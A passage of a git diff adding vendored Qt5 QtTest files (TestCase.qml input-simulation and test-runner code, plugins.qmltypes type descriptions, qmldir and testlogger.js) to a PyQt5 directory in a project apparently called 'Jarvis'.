(Math.abs(intermediateDy) < (util.dragThreshold + 1)) + intermediateDy = 0 + + mousePress(item, x, y, button, modifiers, delay) + + // Trigger dragging by dragging past the drag threshold, but making sure to only drag + // along a certain axis if a distance greater than zero was given for that axis. + var dragTriggerXDistance = dx > 0 ? (util.dragThreshold + 1) : 0 + var dragTriggerYDistance = dy > 0 ? (util.dragThreshold + 1) : 0 + mouseMove(item, x + dragTriggerXDistance, y + dragTriggerYDistance, moveDelay, button) + if (intermediateDx !== 0 || intermediateDy !== 0) { + mouseMove(item, x + intermediateDx, y + intermediateDy, moveDelay, button) + mouseMove(item, x + 2*intermediateDx, y + 2*intermediateDy, moveDelay, button) + } + mouseMove(item, x + dx, y + dy, moveDelay, button) + mouseRelease(item, x + dx, y + dy, button, modifiers, delay) + } + + /*! + \qmlmethod TestCase::mouseClick(item, x = item.width / 2, y = item.height / 2, button = Qt.LeftButton, modifiers = Qt.NoModifier, delay = -1) + + Simulates clicking a mouse \a button with optional \a modifiers + on an \a item. The position of the click is defined by \a x and \a y. + If \a x and \a y are not defined the position will be the center of \a item. + If \a delay is specified, the test will wait for the specified amount of + milliseconds before pressing and before releasing the button. + + The position given by \a x and \a y is transformed from the co-ordinate + system of \a item into window co-ordinates and then delivered. + If \a item is obscured by another item, or a child of \a item occupies + that position, then the event will be delivered to the other item instead. + + \sa mousePress(), mouseRelease(), mouseDoubleClickSequence(), mouseMove(), mouseDrag(), mouseWheel() + */ + function mouseClick(item, x, y, button, modifiers, delay) { + if (!qtest_verifyItem(item, "mouseClick")) + return + + if (button === undefined) + button = Qt.LeftButton + if (modifiers === undefined) + modifiers = Qt.NoModifier + if (delay == undefined) + delay = -1 + if (x === undefined) + x = item.width / 2 + if (y === undefined) + y = item.height / 2 + if (!qtest_events.mouseClick(item, x, y, button, modifiers, delay)) + qtest_fail("window not shown", 2) + } + + /*! + \qmlmethod TestCase::mouseDoubleClick(item, x = item.width / 2, y = item.height / 2, button = Qt.LeftButton, modifiers = Qt.NoModifier, delay = -1) + \deprecated + + Simulates double-clicking a mouse \a button with optional \a modifiers + on an \a item. The position of the click is defined by \a x and \a y. + If \a x and \a y are not defined the position will be the center of \a item. + If \a delay is specified, the test will wait for the specified amount of + milliseconds before pressing and before releasing the button. + + The position given by \a x and \a y is transformed from the co-ordinate + system of \a item into window co-ordinates and then delivered. + If \a item is obscured by another item, or a child of \a item occupies + that position, then the event will be delivered to the other item instead. + + \sa mouseDoubleClickSequence(), mousePress(), mouseRelease(), mouseClick(), mouseMove(), mouseDrag(), mouseWheel() + */ + function mouseDoubleClick(item, x, y, button, modifiers, delay) { + if (!qtest_verifyItem(item, "mouseDoubleClick")) + return + + if (button === undefined) + button = Qt.LeftButton + if (modifiers === undefined) + modifiers = Qt.NoModifier + if (delay == undefined) + delay = -1 + if (x === undefined) + x = item.width / 2 + if (y === undefined) + y = item.height / 2 + if (!qtest_events.mouseDoubleClick(item, x, y, button, modifiers, delay)) + qtest_fail("window not shown", 2) + } + + /*! + \qmlmethod TestCase::mouseDoubleClickSequence(item, x = item.width / 2, y = item.height / 2, button = Qt.LeftButton, modifiers = Qt.NoModifier, delay = -1) + + Simulates the full sequence of events generated by double-clicking a mouse + \a button with optional \a modifiers on an \a item. + + This method reproduces the sequence of mouse events generated when a user makes + a double click: Press-Release-Press-DoubleClick-Release. + + The position of the click is defined by \a x and \a y. + If \a x and \a y are not defined the position will be the center of \a item. + If \a delay is specified, the test will wait for the specified amount of + milliseconds before pressing and before releasing the button. + + The position given by \a x and \a y is transformed from the co-ordinate + system of \a item into window co-ordinates and then delivered. + If \a item is obscured by another item, or a child of \a item occupies + that position, then the event will be delivered to the other item instead. + + This QML method was introduced in Qt 5.5. + + \sa mousePress(), mouseRelease(), mouseClick(), mouseMove(), mouseDrag(), mouseWheel() + */ + function mouseDoubleClickSequence(item, x, y, button, modifiers, delay) { + if (!qtest_verifyItem(item, "mouseDoubleClickSequence")) + return + + if (button === undefined) + button = Qt.LeftButton + if (modifiers === undefined) + modifiers = Qt.NoModifier + if (delay == undefined) + delay = -1 + if (x === undefined) + x = item.width / 2 + if (y === undefined) + y = item.height / 2 + if (!qtest_events.mouseDoubleClickSequence(item, x, y, button, modifiers, delay)) + qtest_fail("window not shown", 2) + } + + /*! + \qmlmethod TestCase::mouseMove(item, x, y, delay = -1) + + Moves the mouse pointer to the position given by \a x and \a y within + \a item. If a \a delay (in milliseconds) is given, the test will wait + before moving the mouse pointer. + + The position given by \a x and \a y is transformed from the co-ordinate + system of \a item into window co-ordinates and then delivered. + If \a item is obscured by another item, or a child of \a item occupies + that position, then the event will be delivered to the other item instead. + + \sa mousePress(), mouseRelease(), mouseClick(), mouseDoubleClickSequence(), mouseDrag(), mouseWheel() + */ + function mouseMove(item, x, y, delay, buttons) { + if (!qtest_verifyItem(item, "mouseMove")) + return + + if (delay == undefined) + delay = -1 + if (buttons == undefined) + buttons = Qt.NoButton + if (!qtest_events.mouseMove(item, x, y, delay, buttons)) + qtest_fail("window not shown", 2) + } + + /*! + \qmlmethod TestCase::mouseWheel(item, x, y, xDelta, yDelta, button = Qt.LeftButton, modifiers = Qt.NoModifier, delay = -1) + + Simulates rotating the mouse wheel on an \a item with \a button pressed and optional \a modifiers. + The position of the wheel event is defined by \a x and \a y. + If \a delay is specified, the test will wait for the specified amount of milliseconds before releasing the button. + + The position given by \a x and \a y is transformed from the co-ordinate + system of \a item into window co-ordinates and then delivered. + If \a item is obscured by another item, or a child of \a item occupies + that position, then the event will be delivered to the other item instead. + + The \a xDelta and \a yDelta contain the wheel rotation distance in eighths of a degree. see \l QWheelEvent::angleDelta() for more details. + + \sa mousePress(), mouseClick(), mouseDoubleClickSequence(), mouseMove(), mouseRelease(), mouseDrag(), QWheelEvent::angleDelta() + */ + function mouseWheel(item, x, y, xDelta, yDelta, buttons, modifiers, delay) { + if (!qtest_verifyItem(item, "mouseWheel")) + return + + if (delay == undefined) + delay = -1 + if (buttons == undefined) + buttons = Qt.NoButton + if (modifiers === undefined) + modifiers = Qt.NoModifier + if (xDelta == undefined) + xDelta = 0 + if (yDelta == undefined) + yDelta = 0 + if (!qtest_events.mouseWheel(item, x, y, buttons, modifiers, xDelta, yDelta, delay)) + qtest_fail("window not shown", 2) + } + + /*! + \qmlmethod TouchEventSequence TestCase::touchEvent(object item) + + \since 5.9 + + Begins a sequence of touch events through a simulated QTouchDevice::TouchScreen. + Events are delivered to the window containing \a item. + + The returned object is used to enumerate events to be delivered through a single + QTouchEvent. Touches are delivered to the window containing the TestCase unless + otherwise specified. + + \code + Rectangle { + width: 640; height: 480 + + MultiPointTouchArea { + id: area + anchors.fill: parent + + property bool touched: false + + onPressed: touched = true + } + + TestCase { + name: "ItemTests" + when: windowShown + id: test1 + + function test_touch() { + var touch = touchEvent(area); + touch.press(0, area, 10, 10); + touch.commit(); + verify(area.touched); + } + } + } + \endcode + + \sa TouchEventSequence::press(), TouchEventSequence::move(), TouchEventSequence::release(), TouchEventSequence::stationary(), TouchEventSequence::commit(), QTouchDevice::TouchScreen + */ + + function touchEvent(item) { + if (!qtest_verifyItem(item, "touchEvent")) + return + + return { + _defaultItem: item, + _sequence: qtest_events.touchEvent(item), + + press: function (id, target, x, y) { + if (!target) + target = this._defaultItem; + if (id === undefined) + qtest_fail("No id given to TouchEventSequence::press", 1); + if (x === undefined) + x = target.width / 2; + if (y === undefined) + y = target.height / 2; + this._sequence.press(id, target, x, y); + return this; + }, + + move: function (id, target, x, y) { + if (!target) + target = this._defaultItem; + if (id === undefined) + qtest_fail("No id given to TouchEventSequence::move", 1); + if (x === undefined) + x = target.width / 2; + if (y === undefined) + y = target.height / 2; + this._sequence.move(id, target, x, y); + return this; + }, + + stationary: function (id) { + if (id === undefined) + qtest_fail("No id given to TouchEventSequence::stationary", 1); + this._sequence.stationary(id); + return this; + }, + + release: function (id, target, x, y) { + if (!target) + target = this._defaultItem; + if (id === undefined) + qtest_fail("No id given to TouchEventSequence::release", 1); + if (x === undefined) + x = target.width / 2; + if (y === undefined) + y = target.height / 2; + this._sequence.release(id, target, x, y); + return this; + }, + + commit: function () { + this._sequence.commit(); + return this; + } + }; + } + + // Functions that can be overridden in subclasses for init/cleanup duties. + /*! + \qmlmethod TestCase::initTestCase() + + This function is called before any other test functions in the + \l TestCase type. The default implementation does nothing. + The application can provide its own implementation to perform + test case initialization. + + \sa cleanupTestCase(), init() + */ + function initTestCase() {} + + /*! + \qmlmethod TestCase::cleanupTestCase() + + This function is called after all other test functions in the + \l TestCase type have completed. The default implementation + does nothing. The application can provide its own implementation + to perform test case cleanup. + + \sa initTestCase(), cleanup() + */ + function cleanupTestCase() {} + + /*! + \qmlmethod TestCase::init() + + This function is called before each test function that is + executed in the \l TestCase type. The default implementation + does nothing. The application can provide its own implementation + to perform initialization before each test function. + + \sa cleanup(), initTestCase() + */ + function init() {} + + /*! + \qmlmethod TestCase::cleanup() + + This function is called after each test function that is + executed in the \l TestCase type. The default implementation + does nothing. The application can provide its own implementation + to perform cleanup after each test function. + + \sa init(), cleanupTestCase() + */ + function cleanup() {} + + /*! \internal */ + function qtest_verifyItem(item, method) { + try { + if (!(item instanceof Item) && + !(item instanceof Window)) { + // it's a QObject, but not a type + qtest_fail("TypeError: %1 requires an Item or Window type".arg(method), 2); + return false; + } + } catch (e) { // it's not a QObject + qtest_fail("TypeError: %1 requires an Item or Window type".arg(method), 3); + return false; + } + + return true; + } + + /*! \internal */ + function qtest_runInternal(prop, arg) { + try { + qtest_testCaseResult = testCase[prop](arg) + } catch (e) { + qtest_testCaseResult = [] + if (e.message.indexOf("QtQuickTest::") != 0) { + // Test threw an unrecognized exception - fail. + qtest_results.fail("Uncaught exception: " + e.message, + e.fileName, e.lineNumber) + } + } + return !qtest_results.failed + } + + /*! \internal */ + function qtest_runFunction(prop, arg) { + qtest_runInternal("init") + if (!qtest_results.skipped) { + qtest_runInternal(prop, arg) + qtest_results.finishTestData() + qtest_runInternal("cleanup") + qtest_destroyTemporaryObjects() + qtest_results.finishTestDataCleanup() + // wait(0) will call processEvents() so objects marked for deletion + // in the test function will be deleted. + wait(0) + } + } + + /*! \internal */ + function qtest_runBenchmarkFunction(prop, arg) { + qtest_results.startMeasurement() + do { + qtest_results.beginDataRun() + do { + // Run the initialization function. + qtest_runInternal("init") + if (qtest_results.skipped) + break + + // Execute the benchmark function. + if (prop.indexOf("benchmark_once_") != 0) + qtest_results.startBenchmark(TestResult.RepeatUntilValidMeasurement, qtest_results.dataTag) + else + qtest_results.startBenchmark(TestResult.RunOnce, qtest_results.dataTag) + while (!qtest_results.isBenchmarkDone()) { + var success = qtest_runInternal(prop, arg) + qtest_results.finishTestData() + if (!success) + break + qtest_results.nextBenchmark() + } + qtest_results.stopBenchmark() + + // Run the cleanup function. + qtest_runInternal("cleanup") + qtest_results.finishTestDataCleanup() + // wait(0) will call processEvents() so objects marked for deletion + // in the test function will be deleted. + wait(0) + } while (!qtest_results.measurementAccepted()) + qtest_results.endDataRun() + } while (qtest_results.needsMoreMeasurements()) + } + + /*! \internal */ + function qtest_run() { + if (TestLogger.log_start_test()) { + qtest_results.reset() + qtest_results.testCaseName = name + qtest_results.startLogging() + } else { + qtest_results.testCaseName = name + } + running = true + + // Check the run list to see if this class is mentioned. + let checkNames = false + let testsToRun = {} // explicitly provided function names to run and their tags for data-driven tests + + if (qtest_results.functionsToRun.length > 0) { + checkNames = true + var found = false + + if (name.length > 0) { + for (var index in qtest_results.functionsToRun) { + let caseFuncName = qtest_results.functionsToRun[index] + if (caseFuncName.indexOf(name + "::") != 0) + continue + + found = true + let funcName = caseFuncName.substring(name.length + 2) + + if (!(funcName in testsToRun)) + testsToRun[funcName] = [] + + let tagName = qtest_results.tagsToRun[index] + if (tagName.length > 0) // empty tags mean run all rows + testsToRun[funcName].push(tagName) + } + } + if (!found) { + completed = true + if (!TestLogger.log_complete_test(qtest_testId)) { + qtest_results.stopLogging() + Qt.quit() + } + qtest_results.testCaseName = "" + return + } + } + + // Run the initTestCase function. + qtest_results.functionName = "initTestCase" + var runTests = true + if (!qtest_runInternal("initTestCase")) + runTests = false + qtest_results.finishTestData() + qtest_results.finishTestDataCleanup() + qtest_results.finishTestFunction() + + // Run the test methods. + var testList = [] + if (runTests) { + for (var prop in testCase) { + if (prop.indexOf("test_") != 0 && prop.indexOf("benchmark_") != 0) + continue + var tail = prop.lastIndexOf("_data"); + if (tail != -1 && tail == (prop.length - 5)) + continue + testList.push(prop) + } + testList.sort() + } + + for (var index in testList) { + var prop = testList[index] + + if (checkNames && !(prop in testsToRun)) + continue + + var datafunc = prop + "_data" + var isBenchmark = (prop.indexOf("benchmark_") == 0) + qtest_results.functionName = prop + + if (!(datafunc in testCase)) + datafunc = "init_data"; + + if (datafunc in testCase) { + if (qtest_runInternal(datafunc)) { + var table = qtest_testCaseResult + var haveData = false + + let checkTags = (checkNames && testsToRun[prop].length > 0) + + qtest_results.initTestTable() + for (var index in table) { + haveData = true + var row = table[index] + if (!row.tag) + row.tag = "row " + index // Must have something + if (checkTags) { + let tags = testsToRun[prop] + let tagIdx = tags.indexOf(row.tag) + if (tagIdx < 0) + continue + tags.splice(tagIdx, 1) + } + qtest_results.dataTag = row.tag + if (isBenchmark) + qtest_runBenchmarkFunction(prop, row) + else + qtest_runFunction(prop, row) + qtest_results.dataTag = "" + qtest_results.skipped = false + } + if (!haveData) { + if (datafunc === "init_data") + qtest_runFunction(prop, null, isBenchmark) + else + qtest_results.warn("no data supplied for " + prop + "() by " + datafunc + "()" + , util.callerFile(), util.callerLine()); + } + qtest_results.clearTestTable() + } + } else if (isBenchmark) { + qtest_runBenchmarkFunction(prop, null, isBenchmark) + } else { + qtest_runFunction(prop, null, isBenchmark) + } + qtest_results.finishTestFunction() + qtest_results.skipped = false + + if (checkNames && testsToRun[prop].length <= 0) + delete testsToRun[prop] + } + + // Run the cleanupTestCase function. + qtest_results.skipped = false + qtest_results.functionName = "cleanupTestCase" + qtest_runInternal("cleanupTestCase") + + // Complain about missing functions that we were supposed to run. + if (checkNames) { + let missingTests = [] + for (var func in testsToRun) { + let caseFuncName = name + '::' + func + let tags = testsToRun[func] + if (tags.length <= 0) + missingTests.push(caseFuncName) + else + for (var i in tags) + missingTests.push(caseFuncName + ':' + tags[i]) + } + missingTests.sort() + if (missingTests.length > 0) + qtest_results.fail("Could not find test functions: " + missingTests, "", 0) + } + + // Clean up and exit. + running = false + completed = true + qtest_results.finishTestData() + qtest_results.finishTestDataCleanup() + qtest_results.finishTestFunction() + qtest_results.functionName = "" + + // Stop if there are no more tests to be run. + if (!TestLogger.log_complete_test(qtest_testId)) { + qtest_results.stopLogging() + Qt.quit() + } + qtest_results.testCaseName = "" + } + + onWhenChanged: { + if (when != qtest_prevWhen) { + qtest_prevWhen = when + if (when && !completed && !running && qtest_componentCompleted) + qtest_run() + } + } + + onOptionalChanged: { + if (!completed) { + if (optional) + TestLogger.log_optional_test(qtest_testId) + else + TestLogger.log_mandatory_test(qtest_testId) + } + } + + Component.onCompleted: { + QTestRootObject.hasTestCase = true; + qtest_componentCompleted = true; + qtest_testId = TestLogger.log_register_test(name) + if (optional) + TestLogger.log_optional_test(qtest_testId) + qtest_prevWhen = when + if (when && !completed && !running) + qtest_run() + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtTest/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtTest/plugins.qmltypes new file mode 100644 index 00000000..afa870bd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtTest/plugins.qmltypes @@ -0,0 +1,368 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by qmltyperegistrar. + +Module { + dependencies: ["QtQuick 2.0", "QtQuick.Window 2.0"] + Component { + file: "quicktestevent_p.h" + name: "QQuickTouchEventSequence" + prototype: "QObject" + Method { + name: "press" + type: "QObject*" + Parameter { name: "touchId"; type: "int" } + Parameter { name: "item"; type: "QObject"; isPointer: true } + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + } + Method { + name: "move" + type: "QObject*" + Parameter { name: "touchId"; type: "int" } + Parameter { name: "item"; type: "QObject"; isPointer: true } + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + } + Method { + name: "release" + type: "QObject*" + Parameter { name: "touchId"; type: "int" } + Parameter { name: "item"; type: "QObject"; isPointer: true } + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + } + Method { + name: "stationary" + type: "QObject*" + Parameter { name: "touchId"; type: "int" } + } + Method { name: "commit"; type: "QObject*" } + } + Component { + file: "quicktestevent_p.h" + name: "QuickTestEvent" + prototype: "QObject" + exports: ["QtTest/TestEvent 1.0", "QtTest/TestEvent 1.2"] + exportMetaObjectRevisions: [0, 2] + Property { name: "defaultMouseDelay"; type: "int"; isReadonly: true } + Method { + name: "keyPress" + type: "bool" + Parameter { name: "key"; type: "int" } + Parameter { name: "modifiers"; type: "int" } + Parameter { name: "delay"; type: "int" } + } + Method { + name: "keyRelease" + type: "bool" + Parameter { name: "key"; type: "int" } + Parameter { name: "modifiers"; type: "int" } + Parameter { name: "delay"; type: "int" } + } + Method { + name: "keyClick" + type: "bool" + Parameter { name: "key"; type: "int" } + Parameter { name: "modifiers"; type: "int" } + Parameter { name: "delay"; type: "int" } + } + Method { + name: "keyPressChar" + type: "bool" + Parameter { name: "character"; type: "string" } + Parameter { name: "modifiers"; type: "int" } + Parameter { name: "delay"; type: "int" } + } + Method { + name: "keyReleaseChar" + type: "bool" + Parameter { name: "character"; type: "string" } + Parameter { name: "modifiers"; type: "int" } + Parameter { name: "delay"; type: "int" } + } + Method { + name: "keyClickChar" + type: "bool" + Parameter { name: "character"; type: "string" } + Parameter { name: "modifiers"; type: "int" } + Parameter { name: "delay"; type: "int" } + } + Method { + name: "keySequence" + revision: 2 + type: "bool" + Parameter { name: "keySequence"; type: "QVariant" } + } + Method { + name: "mousePress" + type: "bool" + Parameter { name: "item"; type: "QObject"; isPointer: true } + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + Parameter { name: "button"; type: "int" } + Parameter { name: "modifiers"; type: "int" } + Parameter { name: "delay"; type: "int" } + } + Method { + name: "mouseRelease" + type: "bool" + Parameter { name: "item"; type: "QObject"; isPointer: true } + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + Parameter { name: "button"; type: "int" } + Parameter { name: "modifiers"; type: "int" } + Parameter { name: "delay"; type: "int" } + } + Method { + name: "mouseClick" + type: "bool" + Parameter { name: "item"; type: "QObject"; isPointer: true } + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + Parameter { name: "button"; type: "int" } + Parameter { name: "modifiers"; type: "int" } + Parameter { name: "delay"; type: "int" } + } + Method { + name: "mouseDoubleClick" + type: "bool" + Parameter { name: "item"; type: "QObject"; isPointer: true } + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + Parameter { name: "button"; type: "int" } + Parameter { name: "modifiers"; type: "int" } + Parameter { name: "delay"; type: "int" } + } + Method { + name: "mouseDoubleClickSequence" + type: "bool" + Parameter { name: "item"; type: "QObject"; isPointer: true } + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + Parameter { name: "button"; type: "int" } + Parameter { name: "modifiers"; type: "int" } + Parameter { name: "delay"; type: "int" } + } + Method { + name: "mouseMove" + type: "bool" + Parameter { name: "item"; type: "QObject"; isPointer: true } + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + Parameter { name: "delay"; type: "int" } + Parameter { name: "buttons"; type: "int" } + } + Method { + name: "mouseWheel" + type: "bool" + Parameter { name: "item"; type: "QObject"; isPointer: true } + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + Parameter { name: "buttons"; type: "int" } + Parameter { name: "modifiers"; type: "int" } + Parameter { name: "xDelta"; type: "int" } + Parameter { name: "yDelta"; type: "int" } + Parameter { name: "delay"; type: "int" } + } + Method { + name: "touchEvent" + type: "QQuickTouchEventSequence*" + Parameter { name: "item"; type: "QObject"; isPointer: true } + } + Method { name: "touchEvent"; type: "QQuickTouchEventSequence*" } + } + Component { + file: "quicktestresultforeign_p.h" + name: "QuickTestResult" + prototype: "QObject" + exports: [ + "QtTest/TestResult 1.0", + "QtTest/TestResult 1.1", + "QtTest/TestResult 1.13" + ] + exportMetaObjectRevisions: [0, 1, 13] + Enum { + name: "RunMode" + values: ["RepeatUntilValidMeasurement", "RunOnce"] + } + Property { name: "testCaseName"; type: "string" } + Property { name: "functionName"; type: "string" } + Property { name: "dataTag"; type: "string" } + Property { name: "failed"; type: "bool"; isReadonly: true } + Property { name: "skipped"; type: "bool" } + Property { name: "passCount"; type: "int"; isReadonly: true } + Property { name: "failCount"; type: "int"; isReadonly: true } + Property { name: "skipCount"; type: "int"; isReadonly: true } + Property { name: "functionsToRun"; type: "QStringList"; isReadonly: true } + Property { name: "tagsToRun"; type: "QStringList"; isReadonly: true } + Signal { name: "programNameChanged" } + Method { name: "reset" } + Method { name: "startLogging" } + Method { name: "stopLogging" } + Method { name: "initTestTable" } + Method { name: "clearTestTable" } + Method { name: "finishTestData" } + Method { name: "finishTestDataCleanup" } + Method { name: "finishTestFunction" } + Method { + name: "stringify" + Parameter { name: "args"; type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "fail" + Parameter { name: "message"; type: "string" } + Parameter { name: "location"; type: "QUrl" } + Parameter { name: "line"; type: "int" } + } + Method { + name: "verify" + type: "bool" + Parameter { name: "success"; type: "bool" } + Parameter { name: "message"; type: "string" } + Parameter { name: "location"; type: "QUrl" } + Parameter { name: "line"; type: "int" } + } + Method { + name: "compare" + type: "bool" + Parameter { name: "success"; type: "bool" } + Parameter { name: "message"; type: "string" } + Parameter { name: "val1"; type: "QVariant" } + Parameter { name: "val2"; type: "QVariant" } + Parameter { name: "location"; type: "QUrl" } + Parameter { name: "line"; type: "int" } + } + Method { + name: "fuzzyCompare" + type: "bool" + Parameter { name: "actual"; type: "QVariant" } + Parameter { name: "expected"; type: "QVariant" } + Parameter { name: "delta"; type: "double" } + } + Method { + name: "skip" + Parameter { name: "message"; type: "string" } + Parameter { name: "location"; type: "QUrl" } + Parameter { name: "line"; type: "int" } + } + Method { + name: "expectFail" + type: "bool" + Parameter { name: "tag"; type: "string" } + Parameter { name: "comment"; type: "string" } + Parameter { name: "location"; type: "QUrl" } + Parameter { name: "line"; type: "int" } + } + Method { + name: "expectFailContinue" + type: "bool" + Parameter { name: "tag"; type: "string" } + Parameter { name: "comment"; type: "string" } + Parameter { name: "location"; type: "QUrl" } + Parameter { name: "line"; type: "int" } + } + Method { + name: "warn" + Parameter { name: "message"; type: "string" } + Parameter { name: "location"; type: "QUrl" } + Parameter { name: "line"; type: "int" } + } + Method { + name: "ignoreWarning" + Parameter { name: "message"; type: "QJSValue" } + } + Method { + name: "wait" + Parameter { name: "ms"; type: "int" } + } + Method { + name: "sleep" + Parameter { name: "ms"; type: "int" } + } + Method { + name: "waitForRendering" + type: "bool" + Parameter { name: "item"; type: "QQuickItem"; isPointer: true } + Parameter { name: "timeout"; type: "int" } + } + Method { + name: "waitForRendering" + type: "bool" + Parameter { name: "item"; type: "QQuickItem"; isPointer: true } + } + Method { name: "startMeasurement" } + Method { name: "beginDataRun" } + Method { name: "endDataRun" } + Method { name: "measurementAccepted"; type: "bool" } + Method { name: "needsMoreMeasurements"; type: "bool" } + Method { + name: "startBenchmark" + Parameter { name: "runMode"; type: "RunMode" } + Parameter { name: "tag"; type: "string" } + } + Method { name: "isBenchmarkDone"; type: "bool" } + Method { name: "nextBenchmark" } + Method { name: "stopBenchmark" } + Method { + name: "grabImage" + type: "QObject*" + Parameter { name: "item"; type: "QQuickItem"; isPointer: true } + } + Method { + name: "findChild" + revision: 1 + type: "QObject*" + Parameter { name: "parent"; type: "QObject"; isPointer: true } + Parameter { name: "objectName"; type: "string" } + } + Method { + name: "isPolishScheduled" + revision: 13 + type: "bool" + Parameter { name: "item"; type: "QQuickItem"; isPointer: true } + } + Method { + name: "waitForItemPolished" + revision: 13 + type: "bool" + Parameter { name: "item"; type: "QQuickItem"; isPointer: true } + Parameter { name: "timeout"; type: "int" } + } + } + Component { + file: "quicktestutil_p.h" + name: "QuickTestUtil" + prototype: "QObject" + exports: ["QtTest/TestUtil 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "printAvailableFunctions"; type: "bool"; isReadonly: true } + Property { name: "dragThreshold"; type: "int"; isReadonly: true } + Method { + name: "typeName" + type: "QJSValue" + Parameter { name: "v"; type: "QVariant" } + } + Method { + name: "compare" + type: "bool" + Parameter { name: "act"; type: "QVariant" } + Parameter { name: "exp"; type: "QVariant" } + } + Method { + name: "callerFile" + type: "QJSValue" + Parameter { name: "frameIndex"; type: "int" } + } + Method { name: "callerFile"; type: "QJSValue" } + Method { + name: "callerLine" + type: "int" + Parameter { name: "frameIndex"; type: "int" } + } + Method { name: "callerLine"; type: "int" } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtTest/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtTest/qmldir new file mode 100644 index 00000000..be9039ab --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtTest/qmldir @@ -0,0 +1,8 @@ +module QtTest +plugin qmltestplugin +classname QTestQmlModule +typeinfo plugins.qmltypes +TestCase 1.0 TestCase.qml +TestCase 1.2 TestCase.qml +SignalSpy 1.0 SignalSpy.qml +depends QtQuick.Window 2.0 diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtTest/qmltestplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtTest/qmltestplugin.dll new file mode 100644 index 00000000..d0e3388f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtTest/qmltestplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtTest/testlogger.js b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtTest/testlogger.js new file mode 100644 index 00000000..af6522c6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtTest/testlogger.js @@ -0,0 +1,96 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +.pragma library + +// We need a global place to store the results that can be +// shared between multiple TestCase instances. Because QML +// creates a separate scope for every inclusion of this file, +// we hijack the global "Qt" object to store our data. +function log_init_results() +{ + if (!Qt.testResults) { + Qt.testResults = { + reportedStart: false, + nextId: 0, + testCases: [] + } + } +} + +function log_register_test(name) +{ + log_init_results() + var testId = Qt.testResults.nextId++ + Qt.testResults.testCases.push(testId) + return testId +} + +function log_optional_test(testId) +{ + log_init_results() + var index = Qt.testResults.testCases.indexOf(testId) + if (index >= 0) + Qt.testResults.testCases.splice(index, 1) +} + +function log_mandatory_test(testId) +{ + log_init_results() + var index = Qt.testResults.testCases.indexOf(testId) + if (index == -1) + Qt.testResults.testCases.push(testId) +} + +function log_start_test() +{ + log_init_results() + if (Qt.testResults.reportedStart) + return false + Qt.testResults.reportedStart = true + return true +} + +function log_complete_test(testId) +{ + var index = Qt.testResults.testCases.indexOf(testId) + if (index >= 0) + Qt.testResults.testCases.splice(index, 1) + return Qt.testResults.testCases.length > 0 +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebChannel/declarative_webchannel.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebChannel/declarative_webchannel.dll new file mode 100644 index 00000000..5fc9085e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebChannel/declarative_webchannel.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebChannel/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebChannel/plugins.qmltypes new file mode 100644 index 00000000..68378d6e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebChannel/plugins.qmltypes @@ -0,0 +1,67 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable -dependencies dependencies.json QtWebChannel 1.15' + +Module { + dependencies: 